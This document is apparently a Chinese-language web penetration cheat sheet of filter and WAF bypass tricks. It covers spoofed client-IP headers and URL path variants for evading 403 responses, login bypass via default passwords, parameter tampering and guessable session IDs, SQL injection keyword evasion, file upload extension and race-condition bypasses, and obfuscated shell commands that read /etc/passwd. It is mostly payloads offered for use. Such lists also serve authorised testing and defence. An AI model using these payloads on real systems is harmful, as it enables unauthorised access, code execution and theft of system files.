////目录:
-
403 IP地址绕过与文件名绕过
-
登录框绕过
-
SQL注入绕过
-
文件上传绕过
-
RCE绕过
403 IP地址绕过与文件名绕过
X-Forwarded-For:127.0.0.1
X-Forwarded:127.0.0.1
Forwarded-For:127.0.0.1
Forwarded:127.0.0.1
X-Forwarded-Host:127.0.0.1
X-remote-IP:127.0.0.1
X-remote-addr:127.0.0.1
True-Client-IP:127.0.0.1
X-Client-IP:127.0.0.1
Client-IP:127.0.0.1
X-Real-IP:127.0.0.1
Ali-CDN-Real-IP:127.0.0.1
Cdn-Src-Ip:127.0.0.1
Cdn-Real-Ip:127.0.0.1
CF-Connecting-IP:127.0.0.1
X-Cluster-Client-IP:127.0.0.1
WL-Proxy-Client-IP:127.0.0.1
Proxy-Client-IP:127.0.0.1
Fastly-Client-Ip:127.0.0.1
True-Client-Ip:127.0.0.1
site.com/admin => 403
site.com/admin/ => 200
site.com/admin// => 200
site.com//admin// => 200
site.com/admin/* => 200
site.com/admin/*/ => 200
site.com/admin/. => 200
site.com/admin/./ => 200
site.com/./admin/./ => 200
site.com/admin/./. => 200
site.com/admin/./. => 200
site.com/admin? => 200
site.com/admin?? => 200
site.com/admin??? => 200
site.com/admin..;/ => 200
site.com/admin/..;/ => 200
site.com/%2f/admin => 200
site.com/%2e/admin => 200
site.com/admin%20/ => 200
site.com/admin%09/ => 200
site.com/%20admin%20/ => 200
登录框绕过
1.网络嗅探
通过网络嗅探工具探测局域网中传输的明文用户名和密码。有些应用程序采用GET方式发送登录请求,可能导致GET的URL请求内容被缓存在代理服务器或者Web服务器端,导致用户名和密码泄漏
2.默认或可猜测的用户账号
大多数开源软件或商业软件提供的基于网络配置和管理的接口,通常都会有一些默认的用户名和密码。
例如,一般默认的用户名是:
admin、administrator、root、system、guest等,而默认的密码也根据硬件和软件的不同而不同,可尝试一下这些密码:
password、admin、guest、12345等
3.直接访问内部URL
使用Spider工具找到含有
admin、manager、login、administrator等词语的路径,尝试使用普通的登录用户访问这些URL,从而获得管理员的权限
4.修改参数绕过认证
应用程序可能会使用一个参数或一个隐藏的域表示一个用户是否经过了验证。通过修改这些参数,从而被认为是已经认证过的用户
例如:
http://www.xxx.xom/userinfo.jsp?authenticated=no
通过修改authenticated参数为yes,
http://www.xxx.xom/userinfo.jsp?authenticated=yes
然后就可以通过认证,直接访问内部页面。
5.可猜测的SessionID
利用规律,猜测到一个有效的SessionID,然后通过修改请求中的SessionID为一个预测到的有效SessionID,从而冒充会话的真正拥有者,绕过认证环节。
6.注入问题
利用万能密码登录系统,绕过认证环节
7.CSRF
利用CSRF漏洞在用户不知情的情况下,利用用户的会话进行敏感操作,从而绕过认证
SQL注入绕过
0.大小写混用
SeLect
1.Url编码
2.16进制编码
3.distinct绕过
过滤union select 使用 union distinct select
4.select'1'绕过
过滤select空格,select后面的参数用引号包裹
例如: select'1'
5.科学计数法绕过
过滤空格from,和from挨着的参数,使用科学计数法
例如:3e0from
6.{}绕过
过滤from空格,from{x 表名}
例如:3e0from{x user}
7.过滤注释符号 / * - #
调整payload在适当位置加括号,可以不需要注释
8.注释绕过
/*!select*/
9. 双写绕过
SEselectLECT
10.符号绕过
过滤 or and xor not ,使用 && || |# |
11.大小于号绕过
过滤 = 可以使用大小于号 <>
12.greatest绕过
过滤大小于号,使用greatest(n1,n2,nx)返回n中的最大值,使用least返回n中的最小值
13.strcmp绕过
strcmp(str1,str2):若所有的字符串均相同,则返回STRCMP()若根据当前分类次序,第一个参数小于第二个,则返回 -1,其它情况返回 1
文件上传绕过
1.js绕过
可以修改网页源代码,或者直接禁用js进行上传
2.黑名单绕过
可以上传例如php1,php2,phtml等文件
3.抓包绕过
上传1.jpg,在burp中修改回php再上传
4.双写绕过
有的waf会判断你的后缀名是否符合规定,例如1.php,这时候waf会删除php,我们改为上传1.phpphp
5.截断绕过
例如00截断等
6.解析绕过
上传1.jpg,利用目录解析或者文件包含进行解析,或者上传 .htacess 等文件
7.条件竞争绕过
上传1.php文件,利用bp抓包,设置多线程,不断发包;
浏览器访问连接我们上传的1.php文件;
不断刷新,会在某瞬间,执行1.php成功。
8.::$DATA绕黑名单
文件名 .jsp::$DATA
9.后缀绕过
-
asp: aspx asa asax ascx ashx asmx cer aSp
-
php: php2 php3 php4 php5 phtml pht html pHp
-
jsp: jspa jspx jsw jsv jspf jtml jSp
RCE绕过
-
cmd1 | cmd2 只执行cmd2
-
cmd1 || cmd2 只有当cmd1执行失败后,cmd2才被执行
-
cmd1 & cmd2 先执行cmd1,不管是否成功,都会执行cmd2
-
cmd1 && cmd2 先执行cmd1,cmd1执行成功后才执行cmd2,否则不执行cmd2
-
(Linux还支持分号 ; )cmd1;cmd2 按顺序依次执行,先执行cmd1再执行cmd2
1.变量绕过
a=c;b=a;c=t;
$a$b$c /etc/passwd
2.16编码绕过
"x73x79x73x74x65x6d"("cat /etc/passwd");
3.oct编码绕过
$(printf "154163")//ls命令
4.拼接绕过
-
sy.(st).em)(whoami);
-
c''a''t /etc/passwd//单引
-
c""a""t /etc/passwd//双引
-
c``a``t /etc/passwd/反单引
-
ca /etc/passwd//反斜线
-
$*和$@,$x(x代表1-9),${x}(x>=10)
比如 ca${21}t a.txt 表示 cat a.txt 在没有传入参数的情况下,这些特殊字符默认为空,如下:
wh$1oami
who$@ami
whoa$*mi
5.利用未赋值变量绕过
cat /etc$u/passwd
cat$u /etc/passwd
6.通配符绕过
-
cat /passwd:
-
??? /e??/?a????
-
cat /e*/pa*